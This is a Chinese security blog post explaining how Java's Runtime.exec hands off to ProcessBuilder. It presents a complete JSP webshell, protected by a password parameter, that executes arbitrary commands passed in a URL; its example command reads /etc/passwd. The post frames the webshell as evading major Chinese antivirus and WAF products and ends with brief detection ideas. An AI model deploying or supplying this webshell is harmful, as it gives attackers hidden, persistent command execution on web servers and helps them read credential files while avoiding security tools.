浅析JAVA Runtime原理与过各大厂商免杀webshell制作
Author:Sevck
Date:2017年6月24日
昨天在网络尖刀老年活动中心群里，忽然想到一个问题，就是JAVA在运行Runtime执行命令的时候会不会调用bash，因为php等语言会调用bash进行命令：
我：JAVA在执行命令的时候会不会调用bash?
Feng : processbuilder
我:
/**
* Executes the specified command and arguments in a separate process.
*
*/
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
} 我 : 只有 Runtime.exec("/bin/bash xxxxx")才调bash
好奇JAVA的Runtime是如何实现的，去翻阅JAVA源码查看实现方法：
Runtime执行实例：
Runtime.getRuntime().exec("TODO");
实现代码(文件代码：java/lang/Runtime.java 346 行)：
// 方法1
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
// 方法2
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
// 方法3
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command"); StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
// 方法4
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
// 方法5
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
// 方法6
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
}
从上面可以看出几个重要的信息：
- 方法1和方法2调用的是方法3
- 方法3调用的是方法6
- 方法4和方法5调用的也是方法6
- 方法6创建了一个ProcessBuilder对象
至此，是Runtime.getRuntime().exec("TODO")的实现原理，但是还是没有详细的解释清楚是如何实现的，只是说调用了ProcessBuilder类。
ProcessBuilder是J2SE 1.5之后新增的类，此类用于创建操作系统进程，它提供一种启动和管理进程（也就是应用程序）的方法。在J2SE 1.5之前，都是由Process类处来实现进程的控制管理。
Process和ProcessBuilder的关系：
每个 ProcessBuilder 实例管理一个进程属性集。它的start() 方法利用这些属性创建一个新的 Process 实例。start() 方法可以从同一实例重复调用，以利用相同的或相关的属性创建新的子进程。
ProcessBuilder为进程提供了更多的控制，例如，可以设置当前工作目录，还可以改变环境参数。而Process的功能相对来说简单的多。
ProcessBuilder是一个final类，有两个带参数的构造方法，你可以通过构造方法来直接创建ProcessBuilder的对象。而Process是一个抽象类，一般都通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例。
ProcessBuilder：
java.lang.ProcessBuilder，父类Object.
源码ProcessBuilder类的注释：
- This class is used to create operating system processes.
- Each ProcessBuilder instance manages a collection of process attributes.
- The start() method creates a new Process instance with those attributes.
- The start() method can be invoked repeatedly from the same instance to create new subprocesses with identical or related attributes.
真对该类有更详细的解释，详情请看：https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html
所以，在执行Runtime的时候或者执行Process再者ProcessBuilder都是在进程中执行的，所以也不会调用bash。
除非一些webshell在调用执行命令的时候指定了bash，例如Runtime.getRuntime().exec("/bin/bash -c id");
利用ProcessBuilder简单写一个webshell:
<%--
Created by IntelliJ IDEA.
User: sevck
Date: 2017/6/24
Time: 10:06
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.Process" %>
<html>
<head>
<title>jsp shell file</title>
</head> <body>
<%
/*
Use: http://127.0.0.1/shell.jsp?pwd=sevck&cmd=cat@/etc/passwd
*/
// Verify OS Windows or Linux
String os = System.getProperty("os.name");
if(os.toLowerCase().startsWith("win")){
out.print("windows");
}else{
out.print("Linux");
}
if(request.getParameter("cmd") != null && request.getParameter("pwd").equals("sevck") ){
// Request Parameter cmd contents conversion String to Strings args.
String command = request.getParameter("cmd");
String [] args = command.split("@");
try {
// Create Process In the process, the received parameter is an array.
ProcessBuilder pb = new ProcessBuilder(args);
// Setup Process Output Result (Normal and Error)
pb.redirectErrorStream(true);
// Start Process
Process pro = pb.start();
}catch (Exception e){
// TODO
String error =e.getMessage();
}
}else {
out.print("业务测试");
}
%>
</body>
</html>
这样，这个webshell就达到了任意命令执行:
我们利用这个测试一下各大厂商查杀效果：
360：
腾讯：
D盾：
安全狗：
微步在线：
检测与遐想：
Audit可以审计每个进程，那么Audit检测JAVA启动的进程是否为异常进程，例如：执行恶意二进制，查看修改文件等。
或者从JVM进行监控。
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